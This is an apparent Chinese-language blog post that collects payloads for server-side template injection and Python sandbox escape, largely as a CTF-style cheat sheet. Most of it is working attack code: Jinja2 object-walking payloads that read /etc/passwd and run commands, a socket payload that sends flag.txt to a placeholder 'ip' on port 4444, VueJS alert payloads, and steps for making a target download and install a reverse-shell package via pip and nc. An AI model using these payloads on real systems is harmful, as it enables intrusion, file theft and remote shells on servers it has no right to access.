模板注入&沙箱逃逸

模板注入

SSTI服务端模板注入

一、什么是SSTI

首先web服务的实现中使用了模板引擎,并且将参数传递的值当作模板一部分进行渲染(渲染这个词可能有点抽象,可以简单理解为将参数作为代码的一部分解释并执行了),这就是SSTI,服务端模板执行。

模板注入原理

服务端可以使用哪些模板引擎?

由于服务端可以由python、java、php、javascript、ruby、golang等语言编写,所以可以选择的模板引擎挺多的,常见的有Jinja2、Django、Velocity、Groovy、Latte、ERB等待。

二、检测

1.利用Template Injection Table来检测

Template Injection Table:https://cheatsheet.hackmanit.de/template-injection-table/index.html

通过Template Injection Table复制中的测试payload输入到参数中并执行,查看回显的报错内容来判断模板类型。

 每一个测试payload下面的行都是代表一种模板执行后返回的结果,如“{#${{1}}#}}”,尝试“http://114.67.175.224:15233/?flag={#${{1}}#}}”,结果如下图所示。

 2.工具检测(最简单的方法)

可以通过工具tinja进行检测。

https://github.com/Hackmanit/TInjA

3.人工尝试

Jinja2 (Python)

{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>

 更多尝试方法可以参考https://book.hacktricks.xyz/v/cn/pentesting-web/ssti-server-side-template-injection

在利用时还可以尝试一些特殊变量:https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt

Flask (Python)

获取 Flask 配置信息

{{config}}
{{self.__dict__}}
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

VueJS

 JavaScript 框架 VueJS 提供的功能对网站安全有严重影响。

{{toString().constructor.constructor('alert(1)')()}}
{{this.constructor.constructor('alert(1)')()}}
{{_c.constructor`alert(1)`()}}

示例如下:https://vue-client-side-template-injection-example.azu.vercel.app/?name={{_c.constructor`alert(1)`()}}

 

 

CSTI客户端模板注入

客户端只能使用 JavaScript 模板引擎。

 

沙箱逃逸

Python沙箱逃逸

常见命令执行方式

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

另外,Python2 input() 函数允许在程序崩溃之前执行 Python 代码。

 定位目标包或类对象

先到达顶层类'object',方法如下:

{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

读写文件

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

命令执行

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

 命令执行--升级版

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{
% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %} ## Extra ## The global from config have a access to a function called import_string ## with this function you don't need to access the builtins {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }} # All the bypasses seen in the previous sections are also valid

 

使用默认安装的 Python 包绕过沙盒

我们可以通过查看python预安装的库,看有哪些类可以使用。

预安装包查看:https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html

使用pip安装新的包

pip.main(["install", "http://xx.xx/Rerverse.tar.gz"])
pip install http://xx.xx/Rerverse.tar.gz

配合nc让目标主机下载反弹shell包并安装。

目标站点上执行下载反弹shell包

http://114.67.175.224:17743/?flag={{%20config.__class__.from_envvar.__globals__.import_string(%22os%22).popen(%22nc%20xxxxxxxxxxxxx%207777%20%3C%20Reverse.tar.gz%22).read()%20}}

  攻击机上使用nc上传反弹shell包。

nc -l 7777 > Reverse.tar.gz

 

posted @ 2024-05-29 23:31  An2i  阅读(130)  评论(0编辑  收藏  举报